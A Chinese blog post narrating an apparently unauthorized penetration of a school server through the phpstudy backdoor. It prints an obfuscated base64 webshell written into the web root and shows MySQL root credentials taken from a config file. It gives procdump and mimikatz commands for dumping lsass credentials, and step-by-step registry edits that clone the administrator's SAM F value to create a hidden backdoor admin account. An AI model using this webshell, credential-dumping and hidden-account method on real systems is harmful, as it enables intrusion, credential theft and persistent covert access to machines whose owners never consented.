记一次phpstudy后门引发的渗透测试
本文首发于先知社区 https://xz.aliyun.com/t/6563
前段时间 phpstudy 被爆出存在后门,想到学校里的许多站都是用 phpstudy 做的环境,于是写了个脚本扫描了下,发现真的有中招的
phpstudy 后门扫描
写了个简单的脚本
1 | import requests |
最后只有一个 ip 能够利用
getshell
根据 payload 可以执行任意的 php 代码
先 getcwd()
看下位置
1 | var_dump(getcwd()); |
1 | var_dump(scandir("C:\phpStudy2")); |
找到网站目录 C:\phpStudy2\PHPTutorial\WWW
然后 file_put_contents
写个马
1 | file_put_contents("C:\phpStudy2\PHPTutorial\WWW",base64_decode("PD9waHAgJGRHcWE9Y3JlYXRlX2Z1bmN0aW9uKGNocig0OTUtNDU5KS5iYXNlNjRfZGVjb2RlKCdjdz09JykuY2hyKDA0MTUtMDIzNikuc3RyX3JvdDEzKCd6JykuY2hyKDUyNzIyLzUyMiksc3RyX3JvdDEzKCdyJykuYmFzZTY0X2RlY29kZSgnZGc9PScpLmNocig5OTktOTAyKS5jaHIoMHhjNzIwLzB4MWQ4KS5iYXNlNjRfZGVjb2RlKCdLQT09JykuY2hyKDAxMDMzLTA3NjcpLmJhc2U2NF9kZWNvZGUoJ2N3PT0nKS5jaHIoMHgzMWMtMHgyYWQpLmJhc2U2NF9kZWNvZGUoJ2JRPT0nKS5jaHIoNDUxNDcvNDQ3KS5jaHIoMHg5NjExLzB4M2E5KS5iYXNlNjRfZGVjb2RlKCdPdz09JykpOyRkR3FhKGJhc2U2NF9kZWNvZGUoJ05UTXlNJy4nVE16TzAnLidCbGRrRicuJ3NLQ1JmJy4nJy5jaHIoODI2MjAvOTcyKS5zdHJfcm90MTMoJ1InKS5jaHIoMHhkNi0weDlkKS5zdHJfcm90MTMoJ0cnKS5iYXNlNjRfZGVjb2RlKCdWZz09JykuJycuJycuY2hyKDB4MmE0LTB4MjVlKS5zdHJfcm90MTMoJ2cnKS5iYXNlNjRfZGVjb2RlKCdVUT09JykuY2hyKDA0NTE0MC8wMzQwKS5jaHIoMHg0ZjZmLzB4MTlmKS4nJy4ncERTSEInLidYVUYwcCcuJ096RTFPJy4nVFl6T1QnLidrNycuJycpKTs/Pg==")); |
这里使用了蚁剑的插件生成shell,配合蚁剑连接使用
成功连接
继续搞
emmm,直接就是 administrator 了,也没有内网环境,后来发现是一台虚拟机,枯燥。。
看下端口
发现开启了 3306
和 9833
,3306
是 mysql ,这个 9833
应该就是修改了的 3389
的端口
mysql 的密码在 config.php
中能找到,而且是 root 用户
使用蚁剑连接,在数据库中发现网站后台的管理员密码
然后目标转向 9983
kali 下使用 rdesktop 有问题
windows 里 mstsc.exe 可以正常连接
然后抓下密码,先传个 procdump64.exe
,执行
1 | procdump64.exe -accepteula -ma lsass.exe 1.dmp |
得到 1.dmp
,使用 mimikatz.exe
读
1 | sekurlsa::minidump lsass.dmp |
emmm,不知道为什么抓不到密码,也尝试了传 mimikatz.exe
直接读,同样失败
既然已经拿到了 administrator 权限,直接添加一个后门用户吧
1 | net user defaultuser0$ somepasswordhere /add /y |
使用该账号密码,成功登录
用户名后添加 $
在 cmd 里使用 net user
查看时是可以隐藏的,但在图形界面下还是会显示
接下来操作注册表,使这个账户在图形界面中也不显示
输入 regedit
打开注册表编辑器,找到 HKEY_LOCAL_MACHINE\SAM\SAM
,右键点击权限,将读写权限赋予 administrator
找到后门用户和 administrator 用户对应的目录
将 administrator 对应目录中的F值复制到后门用户对应目录中的F值
复制完成后,把 defaultuser0$
和其对应的 0000003EA
目录导出并保存
然后删除刚才的后门用户
1 | net user defaultuser0$ /del |
然后重新导入注册表,这样就添加了一个隐藏的用户,使用 defaultuser0$
和密码就能登陆为 administrator
事后
发现登着 tim
呢,找到 qq 号,进行亲切友好的交谈